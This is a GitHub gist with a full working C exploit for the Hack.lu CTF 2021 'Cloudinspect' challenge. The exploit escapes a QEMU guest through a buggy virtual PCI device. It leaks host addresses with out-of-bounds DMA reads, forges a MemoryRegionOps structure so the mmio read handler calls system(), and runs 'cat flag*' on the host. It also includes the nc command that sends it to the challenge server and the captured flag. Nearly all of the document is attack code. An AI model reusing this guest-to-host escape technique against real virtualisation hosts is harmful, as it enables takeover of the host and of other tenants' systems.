Skip to content

Instantly share code, notes, and snippets.

@00xc

00xc/exploit.c Secret

Last active Nov 2, 2021
Embed
What would you like to do?
Hack.lu CTF 2021 - Cloudinspect exploit
/*
* Compile with: cc solve.c -Wall -Wextra -Wpedantic -O0 -static -ffreestanding -o solve
* Run locally with: { stat -c "%s" solve; sleep 1; cat solve; } | ./run_chall.sh
* Run remotely with: { stat -c "%s" solve; sleep 1; cat solve; } | nc flu.xxx 20065
*/
#include <assert.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/mman.h>
#include <linux/types.h>
#define DMA_SIZE 4096
#define CLOUDINSPECT_MMIO_OFFSET_CMD 0x78
#define CLOUDINSPECT_MMIO_OFFSET_SRC 0x80
#define CLOUDINSPECT_MMIO_OFFSET_DST 0x88
#define CLOUDINSPECT_MMIO_OFFSET_CNT 0x90
#define CLOUDINSPECT_MMIO_OFFSET_TRIGGER 0x98
#define CLOUDINSPECT_DMA_GET_VALUE 0x1
#define CLOUDINSPECT_DMA_PUT_VALUE 0x2
/*
* (gdb) print sizeof(PCIDevice)
* $1 = 2288
*/
#define PCIDEVICE_STRUCT_SIZE 2288
#define DEV_ADDR 0xfeb00000
#define MAP_SIZE 0xfffff
typedef uint64_t u64;
/*
* Replacement for MemoryRegionOps.
* (gdb) print sizeof(MemoryRegionOps)
* $2 = 80
*/
struct FakeRegionOps {
volatile void* read;
volatile void* write;
volatile unsigned char b[80 - 16];
};
/*
* Replacement for MemoryRegion.
* (gdb) print (int)&((MemoryRegion*)0)->ops
* $3 = 72
* (gdb) print (int)&((MemoryRegion*)0)->opaque
* $4 = 80
* (gdb) print sizeof(MemoryRegion)
* $5 = 240
*/
struct FakeRegion {
unsigned char p[72];
const struct FakeRegionOps *ops;
void *opaque;
unsigned char b[240 - 16 - 72];
};
/*
* Taken from:
* https://github.com/kitctf/writeups/blob/2af257868242fafef4a204349d22227b62d9b8bb/hitb-gsec-2017/babyqemu/pwn.c
*/
u64 virt2phys(volatile void* p) {
int fd;
u64 offset;
u64 virt = (u64)p;
u64 phys;
// Assert page alignment
assert((virt & 0xfff) == 0);
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
err(EXIT_FAILURE, "open");
offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);
if (read(fd, &phys, 8) != 8)
err(EXIT_FAILURE, "read");
close(fd);
// Assert page present
assert(phys & (1ULL << 63));
phys = (phys & ((1ULL << 54) - 1)) * 0x1000;
return phys;
}
void write_dst(volatile void* mem, u64 dst) {
*(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_DST) = dst;
}
void write_src(volatile void* mem, u64 src) {
*(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_SRC) = src;
}
void write_cmd(volatile void* mem, u64 cmd) {
*(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_CMD) = cmd;
}
void write_cnt(volatile void* mem, u64 cnt) {
*(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_CNT) = cnt;
}
void write_trigger(volatile void* mem) {
write_cmd(mem, CLOUDINSPECT_DMA_PUT_VALUE);
*(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_TRIGGER) = 1;
}
u64 read_magic(volatile void* mem) {
return *(u64*)((uintptr_t)mem);
}
u64 read_dst(volatile void* mem) {
return *(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_DST);
}
u64 read_src(volatile void* mem) {
return *(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_SRC);
}
u64 read_cnt(volatile void* mem) {
return *(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_CNT);
}
u64 read_trigger(volatile void* mem) {
u64 out;
write_cmd(mem, CLOUDINSPECT_DMA_GET_VALUE);
out = *(u64*)((uintptr_t)mem + CLOUDINSPECT_MMIO_OFFSET_TRIGGER);
if (!out)
warnx("read_trigger");
return out;
}
volatile void* map_buf() {
volatile void* out;
out = mmap(NULL, DMA_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (out == MAP_FAILED)
err(EXIT_FAILURE, "mmap");
memset((void*)out, 0, DMA_SIZE);
return out;
}
void unmap_buf(volatile void* dma) {
munmap((void*)dma, DMA_SIZE);
}
void* map_device(int fd) {
void* mem;
mem = mmap(NULL, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, DEV_ADDR);
if (mem == MAP_FAILED)
err(EXIT_FAILURE, "mmap");
printf("magic=%lx\n", read_magic(mem));
return mem;
}
void unmap_device(volatile void* mem) {
munmap((void*)mem, MAP_SIZE);
}
static u64 leak = 0;
static u64 qemu_system = 0;
static u64 ops_addr = 0;
static u64 dma_buf_addr = 0;
static u64 cloudstate_addr = 0;
static u64 mmio_addr = 0;
void read_from_dma_buf(volatile void* mem, u64 local_phys, u64 size, u64 off) {
write_cnt(mem, size);
write_dst(mem, local_phys);
write_src(mem, off);
read_trigger(mem);
}
void write_to_dma_buf(volatile void* mem, u64 local_phys, u64 size, u64 off) {
write_cnt(mem, size);
write_dst(mem, off);
write_src(mem, local_phys);
write_trigger(mem);
}
void read_from_qemu(volatile void* mem, u64 remote, u64 local_phys, u64 size) {
u64 addr_ov;
addr_ov = (0xffffffffffffffff - dma_buf_addr) + remote + 1;
assert(remote == dma_buf_addr + addr_ov);
read_from_dma_buf(mem, local_phys, size, addr_ov);
}
void write_to_qemu(volatile void* mem, u64 remote, u64 local_phys, u64 size) {
u64 addr_ov;
addr_ov = (0xffffffffffffffff - dma_buf_addr) + remote + 1;
assert(remote == dma_buf_addr + addr_ov);
write_to_dma_buf(mem, local_phys, size, addr_ov);
}
void get_leaks(volatile void* mem) {
volatile void* buf;
u64 buf_phys;
buf = map_buf();
buf_phys = virt2phys(buf);
read_from_dma_buf(mem, buf_phys, sizeof(u64), DMA_SIZE + (6 * 8));
leak = *(volatile u64*)buf;
//qemu_system = leak - 0x3f5e40;
qemu_system = leak - 0x37b7b0;
//ops_addr = leak + 0x44d9e0;
ops_addr = leak + 0x663a10;
/* read &(state.mmio->opaque). opaque is located at offset 80 */
read_from_dma_buf(mem, buf_phys, sizeof(u64), (u64)-((5 * 8) + (sizeof(struct FakeRegion) - 80)));
cloudstate_addr = *(volatile u64*)buf;
mmio_addr = cloudstate_addr + PCIDEVICE_STRUCT_SIZE;
dma_buf_addr = cloudstate_addr + PCIDEVICE_STRUCT_SIZE + sizeof(struct FakeRegion) + (5 * 8);
unmap_buf(buf);
}
void exploit(volatile void* mem) {
volatile struct FakeRegionOps* fake_ops;
volatile struct FakeRegion* fake_region;
char* shell;
get_leaks(mem);
printf("leak: 0x%lx\n", leak);
printf("cloudstate @ 0x%lx\n", cloudstate_addr);
printf("cloudstate.dma_buf @ 0x%lx\n", dma_buf_addr);
shell = map_buf();
fake_ops = map_buf();
fake_region = map_buf();
/* Read mmio->ops and patch */
read_from_qemu(mem, ops_addr, virt2phys(fake_ops), sizeof(struct FakeRegionOps));
printf("old ops->read: 0x%lx\n", fake_ops->read);
fake_ops->read = (void*)qemu_system;
printf("new ops->read: 0x%lx\n", fake_ops->read);
printf("> Writing fake_ops to dma_buf\n");
write_to_dma_buf(mem, virt2phys(fake_ops), sizeof(struct FakeRegionOps), 0);
printf("> Writing shell to dma_buf\n");
strcpy(shell, "cat flag*");
write_to_dma_buf(mem, virt2phys(shell), strlen(shell) + 1, sizeof(struct FakeRegionOps));
/* We could also read at a negative offset from dma_buf instead of using the
* absolute address, but we're just cool like that */
printf("> Reading mmio\n");
read_from_qemu(mem, mmio_addr, virt2phys(fake_region), sizeof(struct FakeRegion));
/* Patch the fields we're interested in */
printf("old mmio->ops: %p\n", fake_region->ops);
printf("old mmio->opaque: %p\n", fake_region->opaque);
fake_region->ops = (void*)dma_buf_addr;
fake_region->opaque = (void*)(dma_buf_addr + sizeof(struct FakeRegionOps));
printf("new mmio->ops: %p\n", fake_region->ops);
printf("new mmio->opaque: %p\n", fake_region->opaque);
/* Same as before: writing to a negative offset from dma_buf would also work */
printf("> Writing fake mmio\n");
write_to_qemu(mem, mmio_addr, virt2phys(fake_region), sizeof(struct FakeRegion));
printf("> Triggering mmio read\n");
read_trigger(mem);
}
int main() {
int fd;
volatile void* mem;
fd = open("/dev/mem", O_RDWR | O_SYNC);
if (fd < 0)
err(EXIT_FAILURE, "open");
mem = map_device(fd);
get_leaks(mem);
exploit(mem);
unmap_device(mem);
close(fd);
/* flag{cloudinspect_inspects_your_cloud_0107} */
return EXIT_SUCCESS;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment